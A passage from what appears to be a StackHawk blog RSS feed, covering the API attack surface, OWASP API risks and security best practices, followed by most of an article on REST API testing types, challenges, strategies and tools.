Authorization&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Missing or ineffective authorization checks on API functions, allowing unauthorized access to sensitive operations.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unrestricted Access to Sensitive Business Flows:&lt;/b&gt; Exposure of critical business processes through the API without proper protection, enabling unauthorized actions or data manipulation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Server-Side Request Forgery (SSRF):&lt;/b&gt; Vulnerabilities allowing attackers to force the API server to make requests to arbitrary internal or external systems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Misconfiguration:&lt;/b&gt; Errors or oversights in the configuration of the API or its infrastructure, such as default credentials or exposed debugging endpoints.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improper Inventory Management:&lt;/b&gt; Lack of visibility and control over API versions and deployed assets, leading to potential vulnerabilities in outdated or unused endpoints.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unsafe Consumption of APIs:&lt;/b&gt; Client applications consuming APIs without proper validation or sanitization of data, opening the door for injection attacks and other vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;Authentication and Authorization Weaknesses&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication and authorization are fundamental pillars of API security. However, they are also common areas where vulnerabilities arise and are exploited. Here are some specific weaknesses to be aware of:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Weak Passwords:&lt;/b&gt; Easily guessable or short passwords can be quickly cracked by attackers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Lack of Multi-Factor Authentication (MFA):&lt;/b&gt; Relying solely on passwords for authentication leaves APIs vulnerable to credential theft.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Insecure Token Management:&lt;/b&gt; Improperly generated, stored, or transmitted tokens can be intercepted or stolen.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Role-Based Access Control (RBAC) Misconfiguration:&lt;/b&gt; Incorrectly assigning roles or permissions can give users more access than they should have.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Inadequate Session Management:&lt;/b&gt; Weak session management can allow attackers to hijack legitimate user sessions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Lack of Input Validation:&lt;/b&gt; Failing to validate input, especially for security credentials, can lead to injection attacks or other forms of data manipulation.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By understanding these risks and vulnerabilities, you can proactively implement security measures to protect your APIs from these issues. Of course, since many of these issues are well-known, there are many ways to solve them and prevent them from becoming a problem in your APIs. In the next section, we will explore best practices for securing your APIs and mitigating these risks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Securing Your API: Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With the complexities that come with securing APIs, best practices for API security cover everything from automated testing and monitoring at the code level to adding pieces of infrastructure, such as API gateways, to mitigate risks. We won&amp;#39;t dive into an extensive list, but let&amp;#39;s take a look at some staples you should definitely consider when securing APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use API Discovery to Understand the Full Picture&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Before you can secure your APIs, you need to know what APIs you have and where they reside. &lt;b&gt;API discovery tools&lt;/b&gt;, like the one&lt;a href=&quot;https://www.stackhawk.com/blog/re-defining-api-discovery-how-we-designed-api-discovery-powered-by-hawkai/#observability-keeping-pace-with-change&quot;&gt; &lt;u&gt;included in StackHawk&lt;/u&gt;&lt;/a&gt;, automatically scan your network, code repositories, and even runtime traffic to identify all APIs, including hidden or shadow APIs that might have been forgotten or undocumented.&lt;/p&gt;&lt;p&gt;Understanding the full scope of your API landscape is essential for effective risk assessment and security planning. It allows you to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify all potential attack surfaces:&lt;/b&gt; Uncover hidden endpoints, outdated versions, or misconfigurations that could be exploited.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prioritize security efforts:&lt;/b&gt; Focus on the most critical APIs that handle sensitive data or perform essential functions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Ensure comprehensive security coverage:&lt;/b&gt; Verify that all APIs are protected by appropriate security measures, including those you may not be aware of.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Leverage Automated Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Manual security testing can be time-consuming and error-prone. Automated security testing tools, like &lt;b&gt;StackHawk&amp;#39;s&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;&lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (DAST) engine&lt;/b&gt;, can quickly and efficiently scan your RESTful, SOAP (Simple Object Access Protocol), RPC (Remote Procedure Call), and GraphQL APIs for vulnerabilities, including those listed in the&lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt; &lt;u&gt;OWASP Top 10&lt;/u&gt;&lt;/a&gt;. Combining multiple automated api testing methods, such as also using a platform like Snyk&amp;#39;s static application security testing (SAST), can help to automate coverage from multiple angles.&lt;/p&gt;&lt;p&gt;By integrating automated security testing into your development pipeline, you can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Catch vulnerabilities early:&lt;/b&gt; &amp;quot;&lt;a href=&quot;https://www.stackhawk.com/resources/shift-left-maturity-model/&quot;&gt;&lt;u&gt;shift left&lt;/u&gt;&lt;/a&gt;&amp;quot; and identify and fix security issues before they reach production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reduce the risk of human error:&lt;/b&gt; Automate repetitive tasks, especially by running tasks in CI/CD pipelines, and ensure consistent testing coverage on every commit, pull request, or deployment.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improve security posture:&lt;/b&gt; Continuous testing helps detect new vulnerabilities and adapt your security measures accordingly.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Implement Secure Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Robust authentication and authorization mechanisms are essential for controlling access to your API and preventing unauthorized actions. Consider adding the following measures to your API auth:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Strong passwords and MFA:&lt;/b&gt; Enforce the use of strong passwords and implement multi-factor authentication wherever possible.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;OAuth 2.0 or OpenID Connect:&lt;/b&gt; Use industry-standard protocols for secure token-based authentication and authorization through platforms like Okta and Auth0.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Role-Based Access Control (RBAC):&lt;/b&gt; Define granular permissions based on user roles to limit access to sensitive resources.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;JWT (JSON Web Tokens):&lt;/b&gt; Use JWTs for stateless authentication and authorization, ensuring secure transmission of claims and user information.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Use HTTPS and Rate Limiting to Prevent Abuse&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Always encrypt API traffic using HTTPS to protect data in transit and prevent eavesdropping or tampering. Additionally, rate limiting should be implemented to restrict the number of API requests or calls an API client can make within a given timeframe. This can help mitigate denial of service attacks and prevent abuse. One of the easiest ways to do this is to integrate your APIs with an API gateway like the ones offered by Kong, Tyk, or WSO2.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Key Management and Secure Data Handling&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another functionality offered through API gateways, developers can protect API keys by storing them securely in a key management platform and rotating them regularly. Never embed API keys directly in code, especially when committing the code to public repositories, or transmit them in plain text. Implement strong encryption for sensitive data at rest and in transit, and follow secure coding practices to prevent vulnerabilities like injection attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Regular Security Assessments and Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Make security an ongoing process. Regularly assess your API&amp;#39;s security strategy and posture using tools like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; to identify new vulnerabilities and other tools to help monitor for suspicious activity in API traffic and infrastructure access. Keep your API infrastructure and dependencies up to date to patch known security flaws.&lt;/p&gt;&lt;p&gt;By adhering to these best practices and leveraging tools like &lt;b&gt;StackHawk&amp;#39;s API discovery and DAST capabilities&lt;/b&gt;, you can proactively secure your APIs, protect sensitive data, and ensure the reliability of the applications that depend on your APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt;&lt;u&gt;API vulnerabilities&lt;/u&gt;&lt;/a&gt; pose a significant threat to modern software. By understanding the API attack surface, recognizing common attack vectors, and proactively implementing best practices, you can effectively mitigate these risks and safeguard your valuable assets.&lt;/p&gt;&lt;p&gt;API security is an ongoing effort, not something you set and forget. API Developers and the teams that support them must stay vigilant, leverage powerful tools like StackHawk to continuously monitor and improve their API security posture, and empower their development teams to build secure applications.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Ready to take the next step in understanding your API attack surface and securing your APIs? &lt;/b&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;b&gt;Try out StackHawk today&lt;/b&gt;&lt;/a&gt;&lt;b&gt; to leverage DAST and API Discovery to up your API security posture.&lt;/b&gt;
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is REST API Testing? Tools and Best Practices for Success]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-rest-api-testing-tools-and-best-practices-for-success</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;APIs (Application Programming Interfaces) are the glue that holds applications and services together. With the growth of distributed, multi-tier architectures, APIs are a crucial piece of modern applications, usually encompassing a good chunk of an application&amp;#39;s logic and business processes. One of the most popular architectural styles for building APIs is REST (Representational State Transfer), known for its simplicity, scalability, and stateless nature. RESTful APIs facilitate communication with internal applications, support data integration workflows, and play significant roles in app development and data pipelines.&lt;/p&gt;&lt;p&gt;However, with the increased complexity and dependency on REST APIs, ensuring their quality, security, and performance is now critical to the software development lifecycle. This is where&lt;a href=&quot;https://www.stackhawk.com/blog/rest-api-security-best-practices/&quot;&gt;&lt;u&gt; REST API&lt;/u&gt;&lt;/a&gt; testing comes into play. Testing your APIs is not just a best practice; it is essential for delivering reliable, secure, high-performing APIs that meet user and business expectations. Comprehensive testing throughout the entire API lifecycle—from design to deployment—ensures that APIs function as intended as they are designed, built, and deployed.&lt;/p&gt;&lt;p&gt;In this article, we’ll dive into REST API testing from various angles, looking at the fundamentals, best practices, and tools that can be used in your testing efforts. Let’s begin by digging into some high-level topics revolving around API testing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing focuses on validating the functionality, reliability, performance, and&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt;&lt;u&gt; security of application programming interfaces (APIs)&lt;/u&gt;&lt;/a&gt;. Unlike UI testing, which focuses on the visual aspects of an application and related flows, API testing targets the logic and data layers of an application. It involves sending requests to API endpoints and analyzing the responses to ensure they meet the expected criteria in terms of usability, performance, and reliability.&lt;/p&gt;&lt;p&gt;API testing should be a regular part of building APIs, preferably testing at various stages of API development. API testing is vital for:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Core Functionality:&lt;/b&gt; APIs are the building blocks of applications. Thorough testing ensures that each API endpoint does its job in terms of required functionality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Accuracy: &lt;/b&gt;APIs read and write data. API testing verifies that the data written to a database or returned from one is accurate, complete, and formatted correctly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Error Handling:&lt;/b&gt; Errors can occur unexpectedly. API testing checks how the API handles errors and how they are presented to users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security:&lt;/b&gt; APIs can be vulnerable to attacks. Testing helps identify security flaws, such as unauthorized access, data leaks, and injection vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Performance:&lt;/b&gt; APIs must be responsive under load and at scale. Performance testing measures how well the API performs under different levels of traffic.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Benefits of REST API Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;By testing at various stages, API testing brings many benefits to developers and their organizations. A few of the most prominent benefits include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Early Bug Detection:&lt;/b&gt; Catching and fixing bugs early in development is much cheaper, more efficient, and less risky than finding and fixing them in production. API testing helps catch issues before they make their way onto production servers and impact end users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Better Software Quality: &lt;/b&gt;Thorough testing ensures the overall quality and reliability of your APIs for a better user experience.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Better Security: &lt;/b&gt;By finding vulnerabilities during testing, you can take proactive measures to&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt;&lt;u&gt; secure your APIs&lt;/u&gt;&lt;/a&gt; to ensure that critical security issues are remedies before they can be exploited in production environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Faster Development:&lt;/b&gt; Testing APIs early and often allows for faster development cycles. By automating parts of API testing, certain tests can be run in a matter of seconds or minutes, allowing developers to identify and remedy bugs and gaps in functionality early on in the SDLC.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To fully realize these benefits, different types of API testing need to be performed as APIs are developed and published. Let’s take a look at those particulars in the next section.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of API Tests&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;REST API testing involves various types of tests, each serving different purposes. Each testing type helps ensure the overall quality and functionality of your APIs from different angles. Let’s look into some of the most common and essential types of API testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Unit Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;At the most basic level, unit testing involves testing individual components or operations of an API. It ensures that each isolated part of the API works as expected and validates the logic and expected behavior. Developers are usually familiar with this type of testing and the frameworks that can be used to implement it. These tests are usually written by developers and aid in ensuring that the code itself is adhering to the functional needs of the application.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integration Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As the name suggests, integration testing checks how different API components or modules work together and with other parts of the system. Integration tests help to verify the interactions between various endpoints and check for data flow, error handling, and overall system integration. This testing is still likely performed by developers and might include automated tests and manual test cases to ensure that systems can be integrated as required.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Functional Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Functional testing involves verifying that the REST API behaves according to its functional requirements. This involves testing the API with different inputs, ensuring it returns the correct output, handles edge cases, and follows the business logic. This may sometimes overlap with the business acceptance testing phase of a project where the group that the application is being built for does preliminary testing to ensure that it fits their needs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Load Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Load testing tests the REST API under expected and peak traffic. Testing REST API performance is vital to ensure stability and responsiveness under different load scenarios. It helps to determine the API’s capacity, response time, and stability under a high volume of requests. For this type of testing, developers and testers usually use an automated approach to produce the API requests to push load onto the endpoint and the server. Quite a few tools exist, some simple ones and more advanced ones, which can help to make load testing easier.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;u&gt;Security testing&lt;/u&gt;&lt;/a&gt; is essential to protecting REST APIs from vulnerabilities and malicious attacks. This involves testing for common security risks, such as injection attacks, cross-site scripting (XSS), authentication and authorization issues, and data exposure. Luckily, OWASP publishes a list of the top 10 API vulnerabilities that many security testing tools use as a guide to help developers automate detecting the most pressing vulnerabilities. Security testing can involve automated testing, such as using a Dynamic Application Security Testing (DAST) tool, or manual penetration testing performed by API security testers.&lt;/p&gt;&lt;p&gt;Each type of API testing is essential in the overall testing strategy for REST APIs. By combining these tests, organizations can be confident in their API’s functionality, performance, reliability, and security. Testing does come with its share of challenges, though. In the next section, we’ll examine some of the difficulties in testing REST APIs and how to overcome them.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Challenges in Testing REST APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;While REST APIs are at the core of most modern architectures and have many benefits, testing them can be challenging. Let’s look at some of these challenges in more detail below.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Parameter Combinations&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;REST APIs can use multiple parameters within an API call, including query parameters, request body fields, and request URIs. Combining these parameters creates numerous possible scenarios that need testing, and testing all combinations efficiently can be challenging. With the advent of AI and testing tools, this can be easier, but it still represents a challenge to test every combination for more complex APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Validating API Parameters&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another challenge is validating the parameters passed to REST APIs. Incorrect data types, invalid values, or unexpected parameter combinations can cause errors or unpredictable behavior. Validating REST API parameters is essential to addressing these issues. However, it is challenging to validate parameters and ensure any incorrect parameters are handled correctly. Testing as many variants as possible to test all logic paths and parameter validation is important to prevent vulnerabilities and make the API robust.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Maintaining the Data Format Schema&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;REST APIs use data format schemas like JSON or XML, the most popular of which is documenting the APIs through an OpenAPI spec. However, as the API evolves, maintaining the schema’s consistency and accuracy is challenging. When the schema changes, developers and testers may be required to update test cases and validation mechanisms based on the latest spec. This can introduce errors and gaps in testing if not managed carefully.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Testing API Call Sequences&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In many cases, REST API calls need to be executed in a specific sequence to achieve the desired outcome. For APIs that require calls to be chained together to test a specific logic flow, testing these call sequences manually can be challenging and error-prone. Testing REST API call sequences is important to detect any errors, logic flaws, or security issues, especially in multithreaded operations. Automating the testing of complex call sequences is important to ensure functionality requirements are met and prevent regressions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Testing Setup&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Setting up a REST API testing environment can involve many manual steps, especially for larger projects. Configuring test data, managing dependencies, and integrating with other systems can be time-consuming. This includes managing licenses and subscriptions for testing platforms, as well as deploying and configuring these platforms, all of which put extra work on the plates of developers and testers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Not All Testing Provides Code-Level Insights&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Traditional black box testing tools may not provide deep insights into the internal workings of REST APIs, making it difficult to identify the root cause of errors. Coverage-guided testing and white box testing can help overcome this challenge by providing more detailed error reports and better test coverage.&lt;/p&gt;&lt;p&gt;These challenges show the complexity of testing REST APIs. However, by using the right strategies and tools, these challenges can be overcome. Despite the challenges, API testing is a must-have for building robust, secure, and high-performing APIs. In the next section, we will examine some API testing strategies for overcoming these challenges and creating a holistic testing strategy.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Testing Strategies&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to API testing, certain strategies can work well across the board. Of course, the exact strategies you implement will depend on factors such as API complexity, infrastructure and programming languages you’ve used, and even your team&amp;#39;s level of expertise. Let’s take a look at a few strategies you can implement to make your testing comprehensive and efficient.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Fuzz Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Fuzz testing, also known as fuzzing, is a technique where you inject invalid, unexpected, or random data into the API request. This helps to find vulnerabilities and unexpected behavior. Feedback-based fuzzing is a more advanced approach in which factors such as code coverage measure testing progress. Feedback-based fuzzing solutions use this info to guide the generation of new test cases based on feedback from the existing test cases. Overall, fuzzing helps to find bugs and security issues caused by unexpected inputs and makes the API more robust and stable.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automating API Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Although necessary for certain types of testing, manual testing of APIs is time-consuming and error-prone. This is especially true for large and complex APIs. Implementing test automation as often as possible is the key to a scalable and consistent testing strategy. Automating API testing allows faster execution of test cases, more test coverage, and early detection of regressions. Automation tools can simulate scenarios, validate responses, and generate detailed reports to inform developers and stakeholders about the current state of the application being tested. Adding automated methods helps make the API testing process more efficient and faster.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Testing Before Deploying vs. After Deploying&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Testing APIs at various stages of development and deployment is also crucial to detecting issues. Since different environments can affect the results of tests, such as performance and security, testing can be done before and after deploying RESTful APIs to various environments, including production. Testing before deploying (pre-production testing) includes unit testing, integration testing, and other types of testing to ensure the API works as expected in a controlled environment. Testing after deploying (post-production testing) is testing the API in the real world, under real conditions. At this point, testing the API for performance under load and finding issues that may occur in production can be performed. Security testing is one type that should be performed pre and post-deployment to production to ensure that vulnerability detection is in force through all environments. Doing pre and post-production testing gives you a full spectrum of API quality and reliability throughout its life cycle.&lt;/p&gt;&lt;p&gt;Having the right tools to implement these testing strategies is important. Luckily, many tools are available to cover all aspects of API testing, from unit testing to security testing. Let’s take a look at some of the top tools next.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Top API Testing Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this blog, we’ve talked about how vital API testing is and the benefits of using automated tools to implement it. In this section, we will look at some of the top tools for testing various aspects of APIs. Let’s take a look at some of the top tools that developers and testers should add to their testing stack.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk is a&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt; Dynamic Application Security Testing&lt;/u&gt;&lt;/a&gt; (DAST) tool that finds vulnerabilities in running applications, including APIs. It supports testing APIs by crawling API routes or using OpenAPI specifications. It also has built-in&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt;&lt;u&gt; API discovery&lt;/u&gt;&lt;/a&gt; tools to help you find and test all your endpoints. StackHawk can be added directly into CI/CD flows to test REST APIs as developers commit their code, revealing potential security vulnerabilities in real time.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Postman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Most developers are familiar with Postman and its role in API development and testing. Postman is a versatile and widely used API testing tool that simplifies the entire API development life cycle. It allows you to send requests, test and debug responses, automate tests, document your APIs, and even monitor their performance. Its user-friendly interface and wide range of features make it a favorite among developers and testers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;SoapUI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A mainstay for developers for many years, SoapUI is an open-source API testing tool known for its extensive capabilities in testing SOAP (simple object access protocol), REST, and web services. It has a rich set of features for functional testing, security testing, load testing, and test automation. SoapUI is flexible and extensible and can be used for various API testing scenarios.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Apigee&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Apigee, now part of Google Cloud, is an API management platform that can also help test APIs at various stages of development. With Apigee, you can design, secure, publish, analyze, and monitor your APIs. It supports multiple API protocols, including REST, SOAP, and GraphQL, and is a full-stack solution for managing and testing your API ecosystem.&lt;/p&gt;&lt;h3&gt;&lt;a href=&quot;http://integrate.io&quot;&gt;&lt;b&gt;&lt;u&gt;Integrate.io&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;http://integrate.io&quot;&gt;&lt;u&gt;Integrate.io&lt;/u&gt;&lt;/a&gt; is a data integration platform with a RESTful API connector that simplifies integrating REST APIs into your data pipelines. Its drag-and-drop interface and prebuilt connectors make it easy to connect, transform, and load data from various sources, including REST APIs. As a platform with API management capabilities,&lt;a href=&quot;http://integrate.io&quot;&gt; &lt;u&gt;integrate.io&lt;/u&gt;&lt;/a&gt; can help with various facets of API testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Swagger UI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Swagger UI is part of the Swagger (now OpenAPI) ecosystem and is an interactive API documentation tool. It also allows API users to visualize and interact with API resources without writing any logic by allowing them to test APIs with a click of a button using sample REST API request examples. In addition to the obvious benefit of interactive API documentation, Swagger UI is useful during development and testing to understand the API structure and functionality.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;REST-assured&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;For those creating APIs in Java, REST-assured is a Java library for testing RESTful APIs. Its domain-specific language (DSL) simplifies creating test cases and validating API responses. REST-assured’s syntax and assertions are intuitive and popular among Java developers. The tool can invoke RESTful APIs and validate the requests and responses based on requirements.&lt;/p&gt;&lt;p&gt;With an abundance of tools available, how do you determine what tool is best for your specific use case? In the next section, we will discuss the factors to consider when evaluating API testing tools and choosing the right one for your needs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Testing Tools Evaluation&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When choosing which tools are best for your API testing stack, there are quite a few aspects to consider. Let’s take a look at some key considerations, features, and benefits that you should consider when evaluating the tools you are evaluating.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Considerations&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Functionality:&lt;/b&gt; Does the tool support the types of API tests you need it for(e.g. functional, performance, security)? Does it have features like test automation, data-driven testing, or integration with your CI/CD pipeline?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Ease of Use:&lt;/b&gt; Is the tool’s interface user-friendly? Can your team learn and adopt it without extensive training?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scalability:&lt;/b&gt; Can the tool handle the volume and complexity of your APIs? Will it scale as your API portfolio grows?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security:&lt;/b&gt; Does the tool have built-in security features to protect your APIs and data during testing?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cost:&lt;/b&gt; Is the tool’s pricing model within your budget? Consider both upfront costs and ongoing costs like licensing or subscriptions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Compatibility:&lt;/b&gt; Is the tool compatible with your existing technology stack, programming languages, and development environment?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Tool Features and Benefits&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Besides the above, here are some additional features and benefits that you should look for in any tools that you adopt.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Testing:&lt;/b&gt; Support for automating test cases saves time, improves efficiency, and allows continuous testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Design and Documentation: &lt;/b&gt;Some tools have features for designing, documenting, and generating API specifications to promote consistency and collaboration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Testing:&lt;/b&gt; Look for tools to help you find security vulnerabilities and risks in your APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reporting and Analytics: &lt;/b&gt;Robust reporting and analytics give you valuable insights into test results, allowing you to track progress, identify bottlenecks, and make data-driven decisions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Collaboration:&lt;/b&gt; If you have a team of testers and developers, consider tools that support collaboration, version control, and knowledge sharing.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By evaluating these factors and considering your organization and project needs, you can choose the right API testing tools to support your testing goals and deliver high-quality, reliable, and secure REST APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Testing Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to testing best practices, each type of testing will come with its own guidelines. However, two best practices apply to all kinds of API testing: creating good test cases and automating testing through CI/CD. Let’s explore these in more detail.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Creating Effective Test 